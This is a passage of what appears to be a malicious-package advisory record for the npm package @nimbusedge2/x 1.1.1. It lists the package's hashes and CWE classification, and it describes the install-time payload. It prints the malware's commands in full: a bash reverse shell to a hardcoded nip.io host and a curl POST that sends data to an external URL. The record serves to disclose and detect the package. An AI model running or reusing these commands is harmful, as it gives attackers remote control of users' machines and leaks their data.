The script invokes `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a hardcoded IP-based host (147.93.157.202 via nip.io) on port 8080, and pipes activity through `curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php`, an install-time cleartext-HTTP beacon to an external endpoint. The reverse shell grants the remote endpoint interactive command execution on the installer's host at install time; the paired POST exfiltrates output to a hardcoded external URL. No legitimate functionality is shipped alongside these actions.\n","affected":[{"package":{"ecosystem":"npm","name":"@nimbusedge2/x"},"versions":["1.1.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"2804ffae1578f16c2b9826ac083e04f98a2d016633ce9d8fa4cbb6f8667ba736","tlsh":"6de0c0301510a83b38c94b95756243653674771f4ce05c0c95c3024a2b1d9d93817a48"}],"package_integrity":[{"filename":"x-1.1.1.tgz","hashes":{"sha1":"874a2c7c318378deda6c097f6fcc6cec2074a548","sha512_sri":"sha512-YRhpsOoynWuUvZeeMp0s7sGzJr3envInnK+O6etamARnW/iSRPUH8shvJ5n8j9uNI8m8HgLvPtN8kikSyzbIJQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@nimbusedge2/x/v/1.1.1"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020197","import_time":"2026-09-21T03:24:20.527792917Z","modified_time":"2026-09-21T03:00:25Z","sha256":"45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e","source":"amazon-inspector","versions":["1.1.1"]}]}}
